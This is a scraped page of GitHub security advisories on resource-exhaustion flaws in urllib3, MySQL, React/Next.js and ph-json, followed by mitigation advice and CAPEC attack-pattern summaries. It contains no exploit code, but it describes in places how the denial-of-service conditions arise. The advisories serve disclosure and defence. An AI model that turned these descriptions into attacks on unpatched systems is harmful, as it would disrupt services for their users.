Vulnerability from github – Published: 2026-06-19 21:32 – Updated: 2026-06-19 21:32urllib3 version 2.6.3 is vulnerable to a decompression bomb bypass in its streaming API (preload_content=False) when using Brotli support. The issue arises due to three independent code paths in response.py that bypass the max_length protection introduced in version 2.6.0 to mitigate CVE-2025-66471. Specifically, negative max_length values can be produced due to buffer arithmetic in read(), flush_decoder unconditionally overrides max_length to -1, and _flush_decoder() passes no limit at all, defaulting to unlimited decompression. This allows a malicious HTTP server to trigger an out-of-memory (OOM) condition by decompressing large payloads into memory, leading to a denial of service (DoS). The vulnerability affects urllib3 2.6.3 and Brotli 1.2.0 and impacts applications and libraries using requests or urllib3 to stream content from untrusted sources.
{
"affected": [],
"aliases": [
"CVE-2026-9375"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-19T19:16:36Z",
"severity": "HIGH"
},
"details": "urllib3 version 2.6.3 is vulnerable to a decompression bomb bypass in its streaming API (`preload_content=False`) when using Brotli support. The issue arises due to three independent code paths in `response.py` that bypass the `max_length` protection introduced in version 2.6.0 to mitigate CVE-2025-66471. Specifically, negative `max_length` values can be produced due to buffer arithmetic in `read()`, `flush_decoder` unconditionally overrides `max_length` to `-1`, and `_flush_decoder()` passes no limit at all, defaulting to unlimited decompression. This allows a malicious HTTP server to trigger an out-of-memory (OOM) condition by decompressing large payloads into memory, leading to a denial of service (DoS). The vulnerability affects urllib3 2.6.3 and Brotli 1.2.0 and impacts applications and libraries using `requests` or `urllib3` to stream content from untrusted sources.",
"id": "GHSA-mwq6-fg78-p6cq",
"modified": "2026-06-19T21:32:48Z",
"published": "2026-06-19T21:32:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9375"
},
{
"type": "WEB",
"url": "https://github.com/urllib3/urllib3/commit/2bdcc44d1e163fb5cc48a8662425e35e15adfe6a"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/ddd09eb9-b87d-4a43-84df-48837b1bbc23"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MWRP-HHPC-X64F
Vulnerability from github – Published: 2026-04-21 21:31 – Updated: 2026-04-21 21:31Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Group Replication Plugin). Supported versions that are affected are 8.0.0-8.0.45, 8.4.0-8.4.8 and 9.0.0-9.6.0. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).
{
"affected": [],
"aliases": [
"CVE-2026-34276"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-21T21:16:31Z",
"severity": "MODERATE"
},
"details": "Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Group Replication Plugin). Supported versions that are affected are 8.0.0-8.0.45, 8.4.0-8.4.8 and 9.0.0-9.6.0. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).",
"id": "GHSA-mwrp-hhpc-x64f",
"modified": "2026-04-21T21:31:25Z",
"published": "2026-04-21T21:31:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34276"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuapr2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MWV6-3258-Q52C
Vulnerability from github – Published: 2025-12-11 22:49 – Updated: 2025-12-11 22:49A vulnerability affects certain React packages for versions 19.0.0, 19.0.1, 19.1.0, 19.1.1, 19.1.2, 19.2.0, and 19.2.1 and frameworks that use the affected packages, including Next.js 15.x and 16.x using the App Router. The issue is tracked upstream as CVE-2025-55184.
A malicious HTTP request can be crafted and sent to any App Router endpoint that, when deserialized, can cause the server process to hang and consume CPU. This can result in denial of service in unpatched environments.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "next"
},
"ranges": [
{
"events": [
{
"introduced": "13.3.0"
},
{
"fixed": "14.2.34"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "next"
},
"ranges": [
{
"events": [
{
"introduced": "15.0.0-canary.0"
},
{
"fixed": "15.0.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "next"
},
"ranges": [
{
"events": [
{
"introduced": "15.1.1-canary.0"
},
{
"fixed": "15.1.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "next"
},
"ranges": [
{
"events": [
{
"introduced": "15.2.0-canary.0"
},
{
"fixed": "15.2.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "next"
},
"ranges": [
{
"events": [
{
"introduced": "15.3.0-canary.0"
},
{
"fixed": "15.3.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "next"
},
"ranges": [
{
"events": [
{
"introduced": "15.4.0-canary.0"
},
{
"fixed": "15.4.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "next"
},
"ranges": [
{
"events": [
{
"introduced": "15.5.1-canary.0"
},
{
"fixed": "15.5.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "next"
},
"ranges": [
{
"events": [
{
"introduced": "15.6.0-canary.0"
},
{
"fixed": "15.6.0-canary.59"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "next"
},
"ranges": [
{
"events": [
{
"introduced": "16.0.0-beta.0"
},
{
"fixed": "16.0.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "next"
},
"ranges": [
{
"events": [
{
"introduced": "16.1.0-canary.0"
},
{
"fixed": "16.1.0-canary.17"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1395",
"CWE-400",
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-11T22:49:27Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "A vulnerability affects certain React packages for versions 19.0.0, 19.0.1, 19.1.0, 19.1.1, 19.1.2, 19.2.0, and 19.2.1 and frameworks that use the affected packages, including Next.js 15.x and 16.x using the App Router. The issue is tracked upstream as [CVE-2025-55184](https://www.cve.org/CVERecord?id=CVE-2025-55184).\n\nA malicious HTTP request can be crafted and sent to any App Router endpoint that, when deserialized, can cause the server process to hang and consume CPU. This can result in denial of service in unpatched environments.",
"id": "GHSA-mwv6-3258-q52c",
"modified": "2025-12-11T22:49:28Z",
"published": "2025-12-11T22:49:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vercel/next.js/security/advisories/GHSA-mwv6-3258-q52c"
},
{
"type": "PACKAGE",
"url": "https://github.com/vercel/next.js"
},
{
"type": "WEB",
"url": "https://nextjs.org/blog/security-update-2025-12-11"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-55184"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Next Vulnerable to Denial of Service with Server Components"
}
GHSA-MX27-GG24-H2JC
Vulnerability from github – Published: 2023-06-14 15:30 – Updated: 2025-01-06 22:13An issue was discovered ph-json through 9.5.5 allows attackers to cause a denial of service or other unspecified impacts via crafted object that uses cyclic dependencies.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.helger.commons:ph-json"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "11.0.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-34612"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-787"
],
"github_reviewed": true,
"github_reviewed_at": "2023-06-14T21:09:37Z",
"nvd_published_at": "2023-06-14T14:15:10Z",
"severity": "HIGH"
},
"details": "An issue was discovered ph-json through 9.5.5 allows attackers to cause a denial of service or other unspecified impacts via crafted object that uses cyclic dependencies.",
"id": "GHSA-mx27-gg24-h2jc",
"modified": "2025-01-06T22:13:35Z",
"published": "2023-06-14T15:30:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34612"
},
{
"type": "WEB",
"url": "https://github.com/phax/ph-commons/issues/35"
},
{
"type": "PACKAGE",
"url": "https://github.com/phax/ph-commons"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "ph-json vulnerable to stack exhaustion"
}
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.